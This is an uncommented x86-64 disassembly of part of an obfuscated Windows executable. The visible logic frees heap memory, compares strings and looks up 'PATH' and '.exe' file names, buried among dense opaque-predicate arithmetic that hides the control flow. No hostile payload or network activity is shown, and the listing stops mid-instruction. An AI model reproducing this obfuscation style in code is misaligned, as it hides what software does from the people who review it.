movzx eax, byte [rsp + 0x90]
mov byte [rsp + 0x228], al
mov qword [rsp + 0x230], rbx
mov qword [rsp + 0x238], rsi
mov qword [rsp + 0x240], rbx
mov rbx, qword [r12 + 8]
mov rdi, qword [r12 + 0x10]
test rdi, rdi
je 0x1401762e3
lea rsi, [rsp + 0x210]
lea rbp, [rsp + 0xa0]
js 0x140179c5e
mov eax, dword [0x14159fad0]
xor edx, edx
div dword [0x14159fad4]
add eax, 0xbb84b32d
mov ecx, eax
not ecx
or ecx, 0x4f0fe68
or eax, 0xfb0f0197
and eax, ecx
mov ecx, eax
not ecx
or ecx, 0x2c554abb
add eax, ecx
inc eax
cmp eax, 0x730eb5af
jbe 0x1401761f0
movzx eax, byte [0x1415acbd0]
nop dword [rax + rax]
mov ecx, dword [0x14159fad8]
sub ecx, dword [0x14159fadc]
mov eax, ecx
and eax, 0xfccdfac3
mov edx, eax
not edx
mov r8d, ecx
and r8d, 0x4c480200
and edx, 0xb3a7f8fb
imul edx, r8d
and ecx, 0xb085f8c3
or eax, 0xb3a7f8fb
imul eax, ecx
add eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfddede34
and ecx, 0x22121cb
imul ecx, edx
mov edx, eax
and edx, 0x22121cb
or eax, 0x22121cb
imul eax, edx
add eax, ecx
movzx ecx, byte [0x1415acbd0]
cmp eax, 0x1923a0e7
ja 0x1401761f0
xor ecx, ecx
mov rdx, rdi
call fcn.14020ae90
mov r13, rax
nop dword [rax]
mov eax, dword [0x14159fae0]
or eax, dword [0x14159fae4]
and eax, 0xf45f4e0f
lea ecx, [rax - 0x4d884192]
mov edx, ecx
and edx, 0xb07a3e7c
xor ecx, 0x4685c103
add eax, ecx
add eax, 0xb277be6e
sub eax, edx
cmp eax, 0xbef05489
jb 0x140176270
test r13, r13
je 0x140179b6c
nop
mov eax, dword [0x14159fae8]
imul eax, dword [0x14159faec]
or eax, 0x315a19fd
mov ecx, eax
and ecx, 0x7d5b79ff
and eax, 0x6d4008a8
add eax, eax
sub ecx, eax
add ecx, 0x6fc48aa8
cmp ecx, 0x3ac6b5ba
jb 0x1401762b0
jmp 0x1401762f9
mov r13d, 1
lea rsi, [rsp + 0x210]
lea rbp, [rsp + 0xa0]
mov rcx, r13
mov rdx, rbx
mov r8, rdi
call fcn.14021bb50
movzx eax, byte [r12 + 0x18]
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], r13
mov qword [rsp + 0xb0], rdi
mov byte [rsp + 0xb8], al
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x1e0]
mov r8, rsi
mov r9, rbp
call fcn.140187c90
mov rax, qword [rsp + 0x150]
test rax, rax
js 0x14017635b
jne 0x14017636e
jmp 0x140176460
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140176460
mov rdi, qword [rsp + 0x158]
mov rbx, qword [0x1415acb98]
mov eax, dword [0x14159faf0]
xor edx, edx
div dword [0x14159faf4]
add eax, 0x2d8fb296
mov ecx, eax
xor ecx, 0x8244040
xor eax, 0xe4db2d8b
mov edx, eax
and edx, 0x735a923f
and ecx, 0x8ca56dc0
imul ecx, edx
mov edx, eax
and edx, 0x8ca56dc0
or eax, 0x8ca56dc0
imul eax, edx
add eax, ecx
cmp eax, 0x2b97cf4e
jae 0x1401763e0
mov rcx, rbx
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x14159faf8]
xor eax, dword [0x14159fafc]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x77a88739
and ecx, 0x885778c6
imul ecx, edx
mov edx, eax
and edx, 0x885778c6
or eax, 0x885778c6
imul eax, edx
add eax, ecx
shr eax, 2
imul rsi, rax, 0x223bfa19
shr rsi, 0x39
mov eax, esi
not eax
mov ecx, esi
and ecx, 0xfffffffe
and eax, 0xa90cbe21
imul eax, ecx
mov ecx, esi
and ecx, 1
or esi, 0xa90cbe21
imul esi, ecx
add esi, eax
mov rcx, rbx
xor edx, edx
mov r8, rdi
call fcn.14020ae70
cmp esi, 0x8c7cc22
je 0x1401763e0
nop word [rax + rax]
mov eax, dword [0x14159fb00]
xor edx, edx
div dword [0x14159fb04]
mov ecx, eax
xor ecx, 0x57c1c5df
xor eax, 0xbd709c32
add eax, ecx
and ecx, 0x154ea612
sub eax, ecx
and eax, 0x3d15bf0a
cmp eax, 0xd31de00
jb 0x140176460
jmp 0x1401754f0
mov eax, dword [0x14159fb30]
and eax, dword [0x14159fb34]
add eax, 0x74596555
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xaadc0e82
and ecx, 0x5523f17d
imul ecx, edx
mov edx, eax
and edx, 0x5523f17d
or eax, 0x5523f17d
imul eax, edx
add eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x34863680
and ecx, 0xcb79c97f
imul ecx, edx
mov edx, eax
and edx, 0xcb79c97f
or eax, 0xcb79c97f
imul eax, edx
add eax, ecx
cmp eax, 0xf8051083
lea rbx, [rsp + 0x210]
lea r12, [rsp + 0xa0]
lea r13, [rsp + 0x77]
mov r8, qword [rsp + 0x58]
jbe 0x140176530
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0xa8], 0
nop word [rax + rax]
mov eax, dword [0x14159fb38]
xor edx, edx
div dword [0x14159fb3c]
mov ecx, eax
not ecx
and ecx, 0xaa364a5f
mov edx, eax
and edx, 0x55c9b5a0
imul edx, ecx
mov ecx, eax
and ecx, 0xaa364a5f
or eax, 0xaa364a5f
imul eax, ecx
add eax, edx
imul eax, eax, 0xb9551aa0
add eax, 0x82519040
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0xa8], 0
cmp eax, 0x3c635c70
jb 0x140176530
jmp 0x1401765a6
mov qword [rsp + 0xb0], rsi
mov rcx, rbx
mov rdx, r12
mov r8, r13
call fcn.14018d210
mov eax, dword [0x14159fb40]
add eax, dword [0x14159fb44]
and eax, 0x945eb7b5
xor eax, 0x1b24a213
imul edi, eax, 0x1f22689c
mov qword [rsp + 0xb0], rsi
mov rcx, rbx
mov rdx, r12
mov r8, r13
call fcn.14020d0a0
cmp edi, 0x7c4cc972
jb 0x140176590
jmp 0x140176800
mov rcx, qword [rsp + 0x270]
nop dword [rax]
mov rax, qword [r9 + 0x160]
test rax, rax
je 0x1401766de
inc rcx
movzx edx, word [r9 + 0x3d0]
movzx r8d, word [rax + 0x3d2]
nop word cs:[rax + rax]
mov r9d, dword [0x14159fb78]
mov r10d, dword [0x14159fb7c]
xor r10d, r9d
not r10d
and r10d, r9d
imul r10, rsi
shr r10, 0x3d
add r10d, 0x187a5367
not r10d
or r10d, 0x8424360
and r10d, 0x8942e3ff
cmp r10d, 0x32a5312e
jb 0x140176620
mov r9, rax
cmp dx, r8w
jae 0x1401765f0
nop dword [rax]
mov ecx, dword [0x14159fb70]
mov r8d, dword [0x14159fb74]
mov r9d, ecx
not r9d
and r9d, r8d
mov r10d, r8d
not r10d
and r10d, ecx
imul r10d, r9d
mov r9d, ecx
and r9d, r8d
or ecx, r8d
imul ecx, r9d
add ecx, r10d
mov r8d, ecx
not r8d
or r8d, 0x40010004
or ecx, 0x303c2521
and ecx, r8d
and ecx, 0x703d2525
mov r8d, ecx
not r8d
or r8d, 0x5ac5739e
add ecx, r8d
inc ecx
cmp ecx, 0x1daf290d
jbe 0x140176670
mov rcx, rdx
jmp 0x1401766e0
xor eax, eax
imul rdx, rcx, 0x38
shl rcx, 5
mov r8, qword [rax + rdx + 0x198]
mov qword [rsp + 0xd0], r8
movups xmm0, xmmword [rax + rdx + 0x168]
movups xmm1, xmmword [rax + rdx + 0x178]
movups xmm2, xmmword [rax + rdx + 0x188]
movaps xmmword [rsp + 0xc0], xmm2
movaps xmmword [rsp + 0xb0], xmm1
movaps xmmword [rsp + 0xa0], xmm0
mov r8, qword [rsp + 0x180]
mov qword [rax + rdx + 0x198], r8
movaps xmm0, xmmword [rsp + 0x150]
movaps xmm1, xmmword [rsp + 0x160]
movaps xmm2, xmmword [rsp + 0x170]
movups xmmword [rax + rdx + 0x188], xmm2
movups xmmword [rax + rdx + 0x178], xmm1
movups xmmword [rax + rdx + 0x168], xmm0
movups xmm0, xmmword [rax + rcx]
movups xmm1, xmmword [rax + rcx + 0x10]
lea rdx, [rsp + 0xd8]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
movaps xmm0, xmmword [rsp + 0x120]
movaps xmm1, xmmword [rsp + 0x130]
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmm1, xmmword [rsp + 0xb0]
movaps xmm2, xmmword [rsp + 0xc0]
movaps xmm3, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x210], xmm0
movaps xmmword [rsp + 0x220], xmm1
movaps xmmword [rsp + 0x230], xmm2
movaps xmmword [rsp + 0x240], xmm3
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x250], xmm0
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x260], rax
nop dword [rax]
mov eax, dword [0x14159fb80]
mov ecx, dword [0x14159fb84]
not eax
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xfd381816
mov edx, eax
and edx, 0x2c7e7e9
or edx, ecx
xor edx, 0x963e48a3
and eax, 0x6b0650b5
or eax, edx
add eax, 0xc24cb9f8
cmp eax, 0x5aee3f72
ja 0x140176800
mov rsi, qword [rsp + 0x210]
mov rbp, qword [rsp + 0x218]
mov rdi, qword [rsp + 0x230]
mov r10, qword [rsp + 0x238]
mov r12, qword [rsp + 0x90]
mov r9, qword [rsp + 0x200]
nop
mov eax, dword [0x14159fb88]
mov ecx, dword [0x14159fb8c]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
add eax, 0xb935d754
mov ecx, eax
not ecx
and ecx, 0xba1b1008
mov edx, eax
and edx, 0x45e4eff7
imul edx, ecx
mov ecx, eax
and ecx, 0xba1b1008
or eax, 0xba1b1008
imul eax, ecx
add eax, edx
imul eax, eax, 0xcdef58ab
cmp eax, 0x22ab6137
jb 0x140176870
mov r8, qword [rsp + 0x248]
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1f0]
movabs rcx, 0xe56ec18f568943e3
add rax, rcx
not rcx
add rcx, rax
mov qword [rsp + 0x1f0], rcx
cmp byte [rsp + 0x77], 0
mov qword [rsp + 0x1a8], r10
mov qword [rsp + 0x58], r8
je 0x140176aec
test r9, r9
je 0x140179d6a
mov eax, dword [0x14159fba8]
xor edx, edx
div dword [0x14159fbac]
mov ecx, eax
not ecx
or eax, 0x93dd144f
or ecx, 0x6c22ebb0
and ecx, eax
mov edx, ecx
not edx
xor ecx, 0xdeef31cb
or edx, 0xdeef31cb
and edx, ecx
mov eax, edx
xor eax, 0x5d71fc33
and edx, 0x228e03cc
add edx, edx
sub edx, eax
mov rax, qword [r12 + 0x3d8]
mov qword [rsp + 0x1e0], rax
cmp edx, 0xf027af07
jbe 0x14017699c
mov rax, qword [r12 + 0x3d8]
mov qword [rsp + 0x1e0], rax
jmp 0x140176930
mov ecx, dword [0x14159fbb0]
mov edx, dword [0x14159fbb4]
not ecx
not edx
and edx, ecx
not edx
imul ecx, edx, 0xd0be130c
mov edx, 0xc8e26f6b
imul rcx, rdx
shr rcx, 0x3d
or ecx, 0x1e3fe9ad
cmp ecx, 0xefbb45ea
ja 0x140176a4a
jmp 0x140176a00
movabs rax, 0x8000000000000000
cmp rsi, rax
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
jne 0x140176b11
jmp 0x1401754f0
mov ecx, dword [0x14159fbb8]
mov edx, dword [0x14159fbbc]
mov r8d, ecx
xor r8d, edx
not r8d
or ecx, edx
and ecx, r8d
imul rcx, rcx, 0x406e790b
shr rcx, 0x3e
xor ecx, 0xda76a619
lea rdx, [r9 - 1]
mov qword [rsp + 0x1e8], rdx
mov qword [rax + 0x160], 0
cmp ecx, 0x33fd3691
jae 0x140176a63
lea rcx, [r9 - 1]
mov qword [rsp + 0x1e8], rcx
mov qword [rax + 0x160], 0
jmp 0x140176a00
mov eax, dword [0x14159fbc0]
add eax, dword [0x14159fbc4]
mov ecx, eax
xor ecx, 0x90f43511
or eax, 0x6f0bcaee
and eax, ecx
imul eax, eax, 0x29a1c900
add eax, 0x4b557393
cmp eax, 0x685180ab
jae 0x140176aa1
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, r12
call fcn.14020ae70
mov r13, qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
mov eax, dword [0x14159fbc8]
xor eax, dword [0x14159fbcc]
mov ebx, eax
not ebx
or eax, 0x237bcf72
or ebx, 0x327f6c72
and ebx, eax
not ebx
or ebx, 0xcc80108d
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, r12
call r13
cmp ebx, 0x3e45fece
jb 0x140176ab0
test rsi, rsi
js 0x1401769d3
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
jne 0x140176b11
jmp 0x140176b4c
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rbp
call fcn.14020ae70
mov eax, dword [0x14159fbd0]
mov ecx, eax
not ecx
or ecx, dword [0x14159fbd4]
lea esi, [rax + rcx]
add esi, 0x9ae4806c
or esi, 0x3cf3a018
and esi, 0x3dffaa5b
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rbp
call rbx
cmp esi, 0x473787e6
ja 0x140176b00
test rdi, rdi
je 0x140176b64
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, qword [rsp + 0x1a8]
call rbx
mov rcx, qword [rsp + 0x58]
test rcx, rcx
js 0x140176b75
jne 0x140176b88
jmp 0x1401754f0
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x1401754f0
mov eax, dword [0x14159fbd8]
mov ecx, dword [0x14159fbdc]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
shr eax, 1
mov ecx, 0xe41111fd
imul rax, rcx
shr rax, 0x3a
or eax, 0x6310d9e
xor eax, 0xa348fc55
cmp eax, 0xa61a28a0
mov rsi, qword [rsp + 0x1a0]
jbe 0x140176bec
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rsi
call fcn.14020ae70
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rsi
call rbx
nop word [rax + rax]
mov eax, dword [0x14159fbe0]
sub eax, dword [0x14159fbe4]
mov ecx, eax
not ecx
and ecx, 0x5873bb1e
mov edx, eax
and edx, 0xa78c44e1
imul edx, ecx
mov ecx, eax
and ecx, 0x5873bb1e
or eax, 0x5873bb1e
imul eax, ecx
add eax, edx
cmp eax, 0xad7def54
je 0x140176c00
jmp 0x1401754f0
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x1a0], rax
mov rdi, qword [rsp + 0x1f0]
movzx eax, byte [0x1415acbd0]
mov edx, 4
xor ecx, ecx
call fcn.14020ae90
test rax, rax
je 0x14017d2c6
mov rsi, rax
mov qword [rsp + 0x200], rdi
mov dword [rax], 0x48544150
add rax, 4
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rax
mov eax, dword [0x14159fbe8]
mov ecx, dword [0x14159fbec]
mov edx, eax
and edx, ecx
or eax, ecx
add eax, edx
imul eax, eax, 0x33c9d090
imul rax, rax, 0x3ce2866b
shr rax, 0x3d
or eax, 0xc882d980
cmp eax, 0xc97e567
jae 0x140176cf8
mov word [rsp + 0xb0], 0
lea rcx, [rsp + 0x230]
lea rdx, [rsp + 0xa0]
call fcn.1401871c0
mov r14d, 0x85f95be1
lea rdi, [rsp + 0x230]
lea rbx, [rsp + 0xa0]
nop
mov eax, dword [0x14159fbf0]
sub eax, dword [0x14159fbf4]
mov ecx, eax
not ecx
and ecx, 0x47825ea4
mov edx, eax
and edx, 0xb87da15b
imul edx, ecx
mov ecx, eax
and ecx, 0x47825ea4
or eax, 0x47825ea4
imul eax, ecx
add eax, edx
imul rax, r14
shr rax, 0x3f
imul ebp, eax, 0xd41b7d2c
mov word [rsp + 0xb0], 0
mov rcx, rdi
mov rdx, rbx
call fcn.1401871c0
cmp ebp, 0x727adef4
ja 0x140176d10
mov rbx, qword [rsp + 0x238]
cmp qword [rsp + 0x1a8], 0
je 0x140177002
mov rdi, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x1a0]
nop word cs:[rax + rax]
mov eax, dword [0x14159fbf8]
sub eax, dword [0x14159fbfc]
imul eax, eax, 0xc1c11a31
cmp eax, 0x7f3ef7a1
je 0x140176da0
mov r15, qword [sym.imp.KERNEL32.dll_CompareStringOrdinal]
mov qword [rsp + 0x60], rcx
mov r8, qword [rsp + 0x1a8]
lea rax, [r8 + 0x168]
movzx ecx, word [r8 + 0x3d2]
mov qword [rsp + 0x58], rcx
imul rcx, rcx, 0x38
mov qword [rsp + 0x68], r8
lea rbp, [r8 + rcx]
add rbp, 0x168
xor r14d, r14d
nop dword [rax + rax]
mov ecx, dword [0x14159fc00]
sub ecx, dword [0x14159fc04]
mov edx, ecx
not edx
and edx, 0x1a63d01d
mov r8d, ecx
and r8d, 0x659c2fe2
imul r8d, edx
mov edx, ecx
and edx, 0x1a63d01d
or ecx, 0x1a63d01d
imul ecx, edx
add ecx, r8d
or ecx, 0xb12aa96e
imul ecx, ecx, 0xa56fa208
cmp ecx, 0x767f7673
ja 0x140176e00
cmp rax, rbp
je 0x140176f00
lea r12, [rax + 0x38]
mov ecx, r14d
and ecx, 1
mov r13, r14
or r13, 1
add r13, rcx
nop dword [rax]
mov ecx, dword [0x14159fc08]
mov edx, dword [0x14159fc0c]
mov r8d, edx
not r8d
mov r9d, ecx
and r9d, r8d
or r8d, ecx
not r8d
imul r8d, r9d
mov r9d, ecx
and r9d, edx
or ecx, edx
imul ecx, r9d
add ecx, r8d
imul ecx, ecx, 0x83d5d17f
mov edx, ecx
and edx, 0x92f26723
and ecx, 0x80002600
sub edx, ecx
add edx, 0xc100ae88
cmp edx, 0xb9f1bad0
jb 0x140176e70
mov r8, qword [rax + 0x28]
mov r9d, dword [rax + 0x30]
mov dword [rsp + 0x20], 1
mov rcx, rbx
mov edx, edi
call r15
cmp eax, 2
jl 0x140176f10
cmp eax, 3
jl 0x140176fba
mov r14, r13
mov rax, r12
je 0x140176e00
jmp 0x1401781cb
mov r14, qword [rsp + 0x58]
jmp 0x140176f19
cmp eax, 1
jne 0x1401781cb
mov rax, qword [rsp + 0x60]
sub rax, 1
jb 0x140177002
mov qword [rsp + 0x60], rax
nop dword [rax]
mov eax, dword [0x14159fc18]
sub eax, dword [0x14159fc1c]
mov ecx, eax
and ecx, 0x33b23aa2
mov edx, ecx
not edx
mov r8d, eax
and r8d, 0x121208a0
and edx, 0xada4f71a
imul edx, r8d
and eax, 0x21a03202
or ecx, 0xada4f71a
imul ecx, eax
add ecx, edx
imul eax, ecx, 0x87400f7
cmp eax, 0xc0177dd5
ja 0x140176f30
mov r8, qword [rsp + 0x68]
mov r8, qword [r8 + r14*8 + 0x3d8]
nop word cs:[rax + rax]
mov eax, dword [0x14159fc20]
xor edx, edx
div dword [0x14159fc24]
imul eax, eax, 0x2f945cee
and eax, 0xa4234b40
add eax, 0x1b3dd5a3
cmp eax, 0x8e8788b6
ja 0x140176f90
jmp 0x140176dcd
shl r14, 5
nop
mov eax, dword [0x14159fc28]
mov ecx, dword [0x14159fc2c]
not eax
not ecx
or ecx, eax
not ecx
or ecx, 0x9abef5c4
imul rax, rcx, 0x4af8c9f1
shr rax, 0x3d
or eax, 0x863fe72c
cmp eax, 0x82d7ff09
jb 0x140176fc0
mov rax, qword [rsp + 0x68]
mov r15, qword [rax + r14 + 8]
mov r13, qword [rax + r14 + 0x10]
jmp 0x140177005
xor r15d, r15d
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax]
mov eax, dword [0x14159fc30]
mov ecx, dword [0x14159fc34]
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
mov eax, ecx
xor eax, 0x5233a94
xor ecx, 0xfe1fef5f
and ecx, eax
mov ebp, ecx
not ebp
or ecx, 0x165bf311
or ebp, 0xe9a40cee
and ebp, ecx
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rsi
call rdi
cmp ebp, 0x132030b4
jb 0x140177010
cmp qword [rsp + 0x230], 0
je 0x14017712e
mov eax, dword [0x14159fc38]
sub eax, dword [0x14159fc3c]
add eax, 0x20991f34
mov ecx, eax
or ecx, 0x6541402
not eax
and eax, 0xb00221ac
and ecx, 0x7755403
or ecx, eax
cmp ecx, 0xcb263699
jne 0x1401770a5
mov rax, qword [0x1415acb98]
mov rsi, qword [0x1415acb98]
mov eax, dword [0x14159fc40]
and eax, dword [0x14159fc44]
imul eax, eax, 0x19c322dd
mov ecx, 0x9cac8da3
imul rcx, rax
shr rcx, 0x3e
mov eax, ecx
not eax
and eax, 0xcfa8d6e6
mov edx, ecx
and edx, 1
imul edx, eax
mov eax, ecx
and eax, 0xfffffffe
or ecx, 0xcfa8d6e6
imul ecx, eax
add ecx, edx
cmp ecx, 0xc5e38ed0
jne 0x140177101
mov rcx, rsi
xor edx, edx
mov r8, rbx
call fcn.14020ae70
mov rcx, rsi
xor edx, edx
mov r8, rbx
call fcn.14020ae70
nop
mov eax, dword [0x14159fc48]
add eax, dword [0x14159fc4c]
imul eax, eax, 0x29ca42f0
xor eax, 0x39b767fe
cmp eax, 0x6c3faa5e
ja 0x140177110
mov rbp, r15
nop word cs:[rax + rax]
mov eax, dword [0x14159fc50]
imul eax, dword [0x14159fc54]
add eax, 0x7d7ab3a7
mov ecx, eax
not ecx
or ecx, 0x91012a5
and ecx, 0x8d9512a5
and eax, 0x52282500
sub eax, ecx
cmp eax, 0xae51efb8
ja 0x140177140
mov rdx, qword [rsp + 0x108]
mov r15, qword [rdx + 0x10]
lea rdi, [0x141578b90]
test r15, r15
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x78]
je 0x14017a896
mov r12, qword [rdx + 8]
mov r14, rdi
cmp r15, 4
jae 0x1401771c0
lea rdi, [0x14018ea20]
jmp 0x140177298
mov eax, dword [0x14159fc58]
imul eax, dword [0x14159fc5c]
or eax, 0xe93a3ca
imul rax, rax, 0x5a125f99
shr rax, 0x39
xor eax, 0x4a3ce1b5
mov edx, dword [r12]
bswap edx
xor ecx, ecx
cmp edx, 0x5c5c3f5c
setb cl
cmp edx, 0x5c5c3f5d
adc ecx, 0xffffffff
cmp eax, 0x13655415
jb 0x1401771c0
lea r8, [0x14018e8f0]
lea r9, [0x14018ea20]
nop word cs:[rax + rax]
mov eax, dword [0x14159fc60]
xor edx, edx
div dword [0x14159fc64]
or eax, 0x879a8274
mov edx, eax
not edx
or edx, 0xf3fc50fd
add eax, edx
inc eax
mov edx, eax
xor edx, 0x98337952
and eax, 0x67cc86ad
add eax, eax
sub eax, edx
test ecx, ecx
mov rdi, r9
cmove rdi, r8
cmp eax, 0x72ae6190
je 0x140177220
nop word cs:[rax + rax]
mov eax, dword [0x14159fc68]
add eax, dword [0x14159fc6c]
mov ecx, eax
or ecx, 0x5e058e0c
and ecx, 0x5e05ce0c
or eax, 0x7ef5ff7f
add eax, ecx
cmp eax, 0xa56eabcd
ja 0x140177270
mov eax, dword [0x14159fc70]
and eax, dword [0x14159fc74]
imul eax, eax, 0xf8ae6056
xor eax, 0x37b6f4fe
cmp eax, 0x6380983e
jae 0x1401772c0
movzx ecx, byte [r15 + r12 - 1]
call rdi
nop
mov eax, dword [0x14159fc78]
or eax, dword [0x14159fc7c]
xor eax, 0x888f322b
add eax, 0xaeba7419
mov ebx, eax
xor ebx, 0x59538486
and ebx, eax
movzx esi, byte [r15 + r12 - 1]
mov ecx, esi
call rdi
cmp ebx, 0x6966ef83
jb 0x1401772c0
test al, al
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x78]
mov rdi, r14
jne 0x14017a896
movabs r14, 0x8000000000000000
cmp r15, 3
jbe 0x1401774ac
movabs rax, 0xa5addcc0e7249538
mov rcx, r15
sub rcx, rax
add rax, rcx
add rax, 0xfffffffffffffffc
movzx ecx, byte [r12 + rax]
mov edx, ecx
and dl, 0x3f
add dl, dl
mov r8d, ecx
xor r8b, 0xbf
add r8b, dl
cmp r8b, 0x1a
setb dl
shl dl, 5
mov r8d, edx
not r8b
mov r9d, ecx
not r9b
or r8b, r9b
and r9b, 0xc6
and cl, 0x39
or cl, r9b
or dl, 0xc6
xor dl, cl
not r8b
or r8b, dl
cmp r8b, 0x2e
jne 0x1401775df
movzx r8d, byte [r12 + rax + 1]
lea ecx, [r8 - 0x41]
cmp cl, 0x1a
setb r9b
shl r9b, 5
mov edx, 0xb8165977
mov ecx, r9d
xor cl, r8b
not r8b
and r8b, r9b
add cl, r9b
sub cl, r8b
nop
mov r8d, dword [0x14159fd18]
imul r8d, dword [0x14159fd1c]
shr r8d, 1
imul r8, rdx
shr r8, 0x3b
or r8d, 0x3f07a292
cmp r8d, 0xd5526d85
ja 0x1401773b0
cmp cl, 0x65
jne 0x1401775e3
movzx eax, byte [r12 + rax + 2]
lea ecx, [rax - 0x41]
nop dword [rax]
mov r8d, dword [0x14159fd20]
mov edx, dword [0x14159fd24]
mov r9d, r8d
not r9d
and r9d, edx
mov r10d, edx
not r10d
and r10d, r8d
imul r10d, r9d
mov r9d, r8d
and r9d, edx
or r8d, edx
imul r8d, r9d
add r8d, r10d
or r8d, 0x2cf4247d
add r8d, 0x608f4c86
not r8d
and r8d, 0x3512b1ce
cmp cl, 0x1a
setb dl
cmp r8d, 0x3e539af
jb 0x1401773f0
shl dl, 5
or dl, al
nop
mov eax, dword [0x14159fd28]
mov ecx, dword [0x14159fd2c]
mov r8d, eax
and r8d, ecx
not eax
not ecx
or ecx, eax
not ecx
or ecx, r8d
mov eax, ecx
xor eax, 0xa2fccdd4
or ecx, 0x5d03322b
and ecx, eax
cmp ecx, 0x90706da8
je 0x140177450
cmp dl, 0x78
jne 0x1401775e7
lea eax, [rsi - 0x41]
xor ecx, ecx
cmp al, 0x1a
adc cl, 0xff
or cl, 0xdf
not sil
and sil, cl
cmp sil, 0x9a
sete al
jmp 0x1401775f0
lea rax, [r12 + r15]
mov ecx, dword [0x14159fc80]
sub ecx, dword [0x14159fc84]
or ecx, 0x4d8bc8c8
add ecx, 0xa0f768a7
cmp ecx, 0xffc1510d
ja 0x1401774b0
mov rcx, r12
jmp 0x1401774e6
je 0x140177760
cmp rcx, rax
je 0x140177b46
nop
mov edx, dword [0x14159fc88]
imul edx, dword [0x14159fc8c]
imul edx, edx, 0xb6271e01
or edx, 0x656261b5
imul edx, edx, 0x615a336c
cmp edx, 0xa6e7a78d
ja 0x1401774f0
movzx edx, byte [rcx]
inc rcx
cmp dl, 0x5c
jge 0x1401774e0
cmp dl, 0x2f
jne 0x1401774e6
jmp 0x140177760
mov eax, dword [0x14159fa48]
xor edx, edx
div dword [0x14159fa4c]
or eax, 0xfb04212d
mov ecx, eax
and ecx, 0x6b436b97
add ecx, ecx
neg ecx
add eax, ecx
add eax, 0xeb436b97
mov ecx, eax
not ecx
or eax, 0xe32fe1a5
or ecx, 0x1cd01e5b
and ecx, eax
cmp ecx, 0x5c1ec703
jae 0x14017756d
ud2
ud2
xor eax, eax
jmp 0x1401775f0
xor eax, eax
jmp 0x1401775f0
xor eax, eax
nop dword [rax]
mov ecx, dword [0x14159fd30]
add ecx, dword [0x14159fd34]
mov edx, ecx
not edx
and edx, 0x6f474ce6
mov r8d, ecx
and r8d, 0x10b8b319
imul r8d, edx
mov edx, ecx
and edx, 0x6f474ce6
or ecx, 0x6f474ce6
imul ecx, edx
add ecx, r8d
mov edx, ecx
not edx
mov r8d, ecx
or r8d, 0x88b74c88
mov r9d, r8d
and r9d, 0xd58fb164
and edx, 0x22400213
imul edx, r9d
and r8d, 0x2a704e9a
or ecx, 0xaaf74e9b
imul ecx, r8d
add ecx, edx
cmp ecx, 0x8b5123bc
jb 0x1401775f0
xor ecx, ecx
jmp 0x140177680
cmp dl, 0x2f
je 0x1401776b5
inc rcx
nop word cs:[rax + rax]
mov edx, dword [0x14159fd3c]
add edx, dword [0x14159fd38]
imul edx, edx, 0xc2256970
add edx, 0xdfda1010
cmp edx, 0xe1b4c8f4
ja 0x140177680
cmp r15, rcx
je 0x140177b46
movzx edx, byte [r12 + rcx]
cmp dl, 0x5c
jl 0x140177669
jne 0x14017766e
test al, al
je 0x140177760
lea rcx, [rsp + 0x210]
mov rdx, r12
mov r8, r15
call fcn.140148cb0
mov rcx, qword [rsp + 0x210]
mov rax, qword [rsp + 0x218]
mov edx, dword [0x14159fd40]
mov r8d, dword [0x14159fd44]
mov r9d, edx
xor r9d, r8d
not r9d
and r9d, r8d
add r9d, r9d
sub r8d, r9d
add r8d, edx
imul edx, r8d, 0xc0668039
and edx, 0xdcc7b03a
imul edx, edx, 0x315e9c47
cmp edx, 0x134c3ce8
jb 0x1401776e0
cmp rcx, r14
jne 0x140178191
mov ecx, dword [0x14159fd48]
or ecx, dword [0x14159fd4c]
add ecx, 0x899d7589
not ecx
or ecx, 0x781b2651
add ecx, 0xe92f2b6a
jae 0x140179f06
jmp 0x140179eb8
mov eax, dword [0x14159fce0]
sub eax, dword [0x14159fce4]
imul eax, eax, 0xa2f36
